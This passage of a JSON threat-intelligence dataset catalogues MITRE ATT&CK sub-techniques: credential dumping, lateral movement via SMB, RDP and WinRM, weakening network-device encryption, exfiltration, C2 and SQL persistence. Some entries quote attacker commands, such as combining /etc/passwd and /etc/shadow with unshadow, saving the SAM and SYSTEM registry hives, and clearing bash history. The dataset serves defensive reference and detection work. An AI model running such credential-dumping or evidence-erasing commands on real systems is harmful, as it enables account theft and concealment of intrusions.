"description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n",
"meta": {
"external_id": "T1003.008",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1003/008",
"https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/",
"https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4",
"value": "/etc/passwd and /etc/shadow - T1003.008"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
"meta": {
"external_id": "CAPEC-561",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Share: Network Share Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://support.microsoft.com/kb/314984",
"https://attack.mitre.org/techniques/T1021/002",
"https://capec.mitre.org/data/definitions/561.html",
"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts",
"https://en.wikipedia.org/wiki/Server_Message_Block",
"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
"https://technet.microsoft.com/en-us/library/cc787851.aspx"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
"value": "SMB/Windows Admin Shares - T1021.002"
},
{
"description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
"meta": {
"external_id": "T1600.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1600/001",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"related": [
{
"dest-uuid": "1f9012ef-1e10-4e48-915e-e03563435fe8",
"type": "subtechnique-of"
}
],
"uuid": "3a40f208-a9c1-4efa-a598-4003c3681fb8",
"value": "Reduce Key Space - T1600.001"
},
{
"description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
"meta": {
"external_id": "T1003.002",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1003/002",
"https://github.com/Neohapsis/creddump7"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
"value": "Security Account Manager - T1003.002"
},
{
"description": "Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",
"meta": {
"external_id": "T1600.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1600/002",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"related": [
{
"dest-uuid": "1f9012ef-1e10-4e48-915e-e03563435fe8",
"type": "subtechnique-of"
}
],
"uuid": "7efba77e-3bc4-4ca5-8292-d8201dcd64b5",
"value": "Disable Crypto Hardware - T1600.002"
},
{
"description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
"meta": {
"external_id": "T1003.005",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1003/005",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)",
"https://github.com/mattifestation/PowerSploit",
"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials",
"https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
"value": "Cached Domain Credentials - T1003.005"
},
{
"description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
"meta": {
"external_id": "T1070.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Deletion",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1070/003",
"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
"value": "Clear Command History - T1070.003"
},
{
"description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
"meta": {
"external_id": "T1011.001",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1011/001"
]
},
"related": [
{
"dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
"type": "subtechnique-of"
}
],
"uuid": "613d08bc-e8f4-4791-80b0-c8b974340dfd",
"value": "Exfiltration Over Bluetooth - T1011.001"
},
{
"description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
"meta": {
"external_id": "T1102.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1102/001"
]
},
"related": [
{
"dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
"type": "subtechnique-of"
}
],
"uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7",
"value": "Dead Drop Resolver - T1102.001"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
"https://attack.mitre.org/techniques/T1021/001",
"https://capec.mitre.org/data/definitions/555.html",
"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
"value": "Remote Desktop Protocol - T1021.001"
},
{
"description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
"meta": {
"external_id": "T1016.001",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1016/001"
]
},
"related": [
{
"dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
"type": "subtechnique-of"
}
],
"uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc",
"value": "Internet Connection Discovery - T1016.001"
},
{
"description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
"meta": {
"external_id": "T1601.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"http://2015.zeronights.org/assets/files/05-Nosenko.pdf",
"https://attack.mitre.org/techniques/T1601/001",
"https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
"https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf",
"https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf",
"https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
]
},
"related": [
{
"dest-uuid": "ae7f3575-0a5e-427e-991b-fe03ad44c754",
"type": "subtechnique-of"
}
],
"uuid": "d245808a-7086-4310-984a-a84aaaa43f8f",
"value": "Patch System Image - T1601.001"
},
{
"description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
"meta": {
"external_id": "T1052.001",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Creation",
"File: File Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1052/001"
]
},
"related": [
{
"dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
"type": "subtechnique-of"
}
],
"uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
"value": "Exfiltration over USB - T1052.001"
},
{
"description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ",
"meta": {
"external_id": "T1601.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1601/002",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
]
},
"related": [
{
"dest-uuid": "ae7f3575-0a5e-427e-991b-fe03ad44c754",
"type": "subtechnique-of"
}
],
"uuid": "fc74ba38-dc98-461f-8611-b3dbf9978e3d",
"value": "Downgrade System Image - T1601.002"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
"meta": {
"external_id": "T1021.006",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation",
"Process: Process Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/aa384426",
"https://attack.mitre.org/techniques/T1021/006",
"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
]
},
"related": [
{
"dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"type": "subtechnique-of"
}
],
"uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
"value": "Windows Remote Management - T1021.006"
},
{
"description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
"meta": {
"external_id": "T1071.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1071/002"
]
},
"related": [
{
"dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
"type": "subtechnique-of"
}
],
"uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b",
"value": "File Transfer Protocols - T1071.002"
},
{
"description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
"meta": {
"external_id": "T1036.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1036/001",
"https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52",
"value": "Invalid Code Signature - T1036.001"
},
{
"description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.",
"meta": {
"external_id": "T1074.001",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"File: File Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1074/001"
]
},
"related": [
{
"dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
"type": "subtechnique-of"
}
],
"uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
"value": "Local Data Staging - T1074.001"
},
{
"description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",
"meta": {
"external_id": "CAPEC-593",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"Office 365",
"SaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1550/001",
"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
"https://capec.mitre.org/data/definitions/593.html",
"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
]
},
"related": [
{
"dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
"type": "subtechnique-of"
}
],
"uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51",
"value": "Application Access Token - T1550.001"
},
{
"description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
"meta": {
"external_id": "T1505.001",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content"
],
"mitre_platforms": [
"Windows",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1505/001",
"https://blog.netspi.com/attacking-sql-server-clr-assemblies/",
"https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/",
"https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017",
"https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017",
"https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"
]
},
"related": [
{
"dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
"type": "subtechnique-of"
}
],
"uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
"value": "SQL Stored Procedures - T1505.001"
},
{
